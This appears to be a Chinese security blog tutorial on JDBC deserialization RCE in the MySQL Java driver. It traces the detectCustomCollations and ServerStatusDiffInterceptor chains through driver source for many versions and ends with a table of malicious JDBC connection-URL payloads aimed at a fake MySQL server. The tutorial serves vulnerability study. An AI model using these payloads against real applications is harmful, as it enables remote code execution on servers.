JDBC反序列化

认识JDBC

JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。
Mysql JDBC 中包含一个危险的扩展参数: “autoDeserialize”。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,造成RCE漏洞。

漏洞原理

若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。
通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。
可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

环境搭建

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>x.x.x</version> <!-- 使用适当的版本号 -->
</dependency>

因为漏洞利用需要使用伪装mysql服务,这里使用的是https://github.com/4ra1n/mysql-fake-server

简单的测试代码:

String Driver = "com.mysql.cj.jdbc.Driver";//低版本是com.mysql.jdbc.Driver
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL, "xxx", "test");
conn.close();

detectCustomCollations链

5.1.19-5.1.28

从连接数据库的地方DriverManager.getConnection(url)进行调试分析

首先跟进getConnection,来到DriverManager.getConnection

image-20230913145029946

这里获取到com.mysql.jdbc.Driver这个驱动,然后调用了connect(url, info),跟进

image-20230913150127276

来到这里,首先看看是不是以jdbc:mysql:loadbalance://或者jdbc:mysql:replication://开头,我们传入的是jdbc:mysql://不会进入判断里。继续往下

image-20230913150649924

这里从这个url中解析出host,port,database等属性,然后调用了这个ConnectionImpl.getInstance使用解析后的连接属性来创建一个新的MySQL数据库连接,跟进

protected static Connection getInstance(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    
    return (Connection)(!Util.isJdbc4() ? new ConnectionImpl(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url) : (Connection)Util.handleNewInstance(JDBC_4_CONNECTION_CTOR, new Object[]{hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url}, (ExceptionInterceptor)null));
    
}

首先通过调用Util.isJdbc4()方法判断当前是否为jdbc4版本。isJdbc4()方法用于检查是否支持JDBC 4.0规范

如果不是jdbc4版本,则通过调用new ConnectionImpl(...)创建一个新的ConnectionImpl对象,这个对象是一个实现了Connection接口的类,用于建立实际的数据库连接。ConnectionImpl类的构造方法接收相同的参数,并用于初始化连接实例

如果是jdbc4版本,则通过调用Util.handleNewInstance(...)方法创建一个新的Connection对象。这个方法用于通过反射调用指定构造方法创建实例。其中JDBC_4_CONNECTION_CTOR表示jdbc4版本的Connection类的构造方法,参数列表与上述相同。这样可以兼容不同版本的JDBC驱动程序

这里是符合JDBC4.0规范的,所以进入的是Util.handleNewInstance

image-20230913151749707

进入这里后,直接实例化了JDBC4Connection对象,参数就是从url中解析出来的参数还有属性

往下来到构造函数:

public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}

这里使用了继承的类ConnectionImpl的构造函数,这个构造函数会将所有的参数,属性赋值到this

image-20230913155059228

往下会调用createNewIO()

image-20230913154423811

跟进

image-20230913155611862

这里调用了connectOneTryOnly进行连接尝试

跟进

image-20230913155757983

跟进initializePropsFromServer()

image-20230913160839895

在这会调用buildCollationMapping(),跟进

在这里能看到,sql连接时会执行两个sql语句,一个是SHOW COLLATION

image-20230913161422350

先判断jdbc版本是否大于5.0.0 ,然后将执行结果作为resultSetToMap参数

第二个是SHOW CHARACTER SET

image-20230913162309738

这里会将部分结果保存到hashmap对象里

第二个不是重点,所有跟进第一个处理结果的resultSetToMap()

public static void resultSetToMap(Map mappedValues, ResultSet rs, int key, int value) throws SQLException {
    while(rs.next()) {
        mappedValues.put(rs.getObject(key), rs.getObject(value));
    }

}

这里调用了getObject()

跟进

image-20230913163308720

这里很明显的看到了反序列化的操作,其中反序列化的字符串来自于刚刚执行的SHOW COLLATION的结果的第3或者第2列的值

如果我们能够控制这个值,就会造成反序列化漏洞

但是这这之前,会有两个判断,一个是判断

if (!this.connection.getAutoDeserialize()) {
    return data;

这里是获取了连接属性AutoDeserialize的值,如果为false,则直接返回结果,如果为true则往下,所以要在url中添加参数autoDeserialize=true

第二个判断是判断是不上反序列化数据,即判断数据前两位

if (data != null && data.length >= 2) {
    if (data[0] != -84 || data[1] != -19) {
        return this.getString(columnIndex);
    }

所以利用的时候需要根据连接的数据包伪装mysql服务器,接收到请求时,返回恶意数据(序列化数据),再控制url,添加参数autoDeserialize=true即可反序列化

这里使用https://github.com/4ra1n/mysql-fake-server 进行利用这个漏洞,假设服务器存在CB链,而且url可控

image-20230913171250780

image-20230913171310470

运行结果

image-20230913171356920

5.1.29-5.1.48

在com.mysql.jdbc.ConnectionImpl#buildCollationMapping()方法中,5.1.28版本的如下:

image-20230914100539075

而5.1.48版本的如下,发现触发漏洞点的条件多了一个this.getDetectCustomCollations()

image-20230914095827847

跟进getDetectCustomCollations()查看

public boolean getDetectCustomCollations() {
    return this.detectCustomCollations.getValueAsBoolean();
}

这个是获取url参数detectCustomCollations的值,默认为false,需要修改为true

jdbc:mysql://127.0.0.1:3308/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc

这里存在一个问题

image-20230914110300421

获取结果的时候会将结果转换成Number类型,然后就报错了

6.0.2-6.0.6

在com.mysql.cj.jdbc.ConnectionImpl#buildCollationMapping()这几个版本中payload和上面的是一样的,只是它获取detectCustomCollations的操作不太一样

image-20230914103512926

这里没有进行类型转换,可以正常利用

image-20230914110723593

ServerStatusDiffInterceptor链

5.1.0-5.1.10

在detectCustomCollations链中可以知道,导致反序列化的是resultSetToMap方法处理SQL执行结果进而调用getObject()然后进入反序列化

如果不走detectCustomCollations这条链,是否还能找到另外的利用链?

寻找调用resultSetToMap的地方,发现com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues存在类似的代码

image-20230914115204793

而这个方法在preProcess方法中调用

public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
    if (connection.versionMeetsMinimum(5, 0, 2)) {
        this.populateMapWithSessionStatusValues(connection, this.preExecuteValues);
    }

    return null;
}

如何调用这个preProcess方法呢?

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设置属性queryInterceptors(8.0以下为statementInterceptors)为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法

测试代码:

public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.jdbc.Driver";
//        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&user=deser_CB_calc";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL);
        String sql = "select database()";
        PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
        ResultSet resultSet = ps.executeQuery();
        conn.close();
        }

在ps.executeQuery()调试跟进

com.mysql.jdbc.MysqlIOinvokeStatementInterceptorsPre方法发现了preProcess调用

image-20230914120724077

这个interceptor对象是来自this.statementInterceptors 数组

image-20230914143443555

这个statementInterceptors是在com.mysql.jdbc.ConnectionImpl中赋值,可以看出来,这个statementInterceptors可以在url设置,因为这个this.props是url解析出来的各个参数数组

所以payload:添加指定拦截器statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

 public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL);
        String sql = "select database()";
        PreparedStatement ps = conn.prepareStatement(sql);
        ResultSet resultSet = ps.executeQuery();
        conn.close();
        }

5.1.11-5.x.xx

这个版本的payload和上面的是一样的,只是在main函数中触发的地方不一样,上面的触发是在ps.executeQuery()执行时,触发拦截器,而这几个版本中触发的是在DriverManager.getConnection(DB_URL),调用链如下:

getObjectDeserializingIfNeeded:4570, ResultSetImpl (com.mysql.jdbc)
getObject:4537, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:467, Util (com.mysql.jdbc)
populateMapWithSessionStatusValues:69, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2865, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2586, MysqlIO (com.mysql.jdbc)
execSQL:2491, ConnectionImpl (com.mysql.jdbc)
execSQL:2449, ConnectionImpl (com.mysql.jdbc)
executeQuery:1381, StatementImpl (com.mysql.jdbc)
loadServerVariables:3805, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3230, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2243, ConnectionImpl (com.mysql.jdbc)
createNewIO:2025, ConnectionImpl (com.mysql.jdbc)
<init>:778, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:386, ConnectionImpl (com.mysql.jdbc)
connect:330, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:13, Main (org.example)

6.x

这个6.x版本中的payload和上面的payload是一样的,仅因更改jdbc包,由com.mysql.jdbc改为com.mysql.cj.jdbc

 public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL);
        conn.close();
        }

8.0.7-8.0.20

这个版本中,指定拦截器的参数名换了,变成了queryInterceptors

image-20230914155304050

所以payload修改为:

 public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL);
        conn.close();
        }

8.0.20以下

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues不再调用resultSetToMap()即getObject()。此利用链失效

Payload汇总

detectCustomCollations链:

  • 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.49:不可用
  • 6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 8.x.x :不可用

ServerStatusDiffInterceptor链:

  • 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 连接后需执行查询
  • 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
  • 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc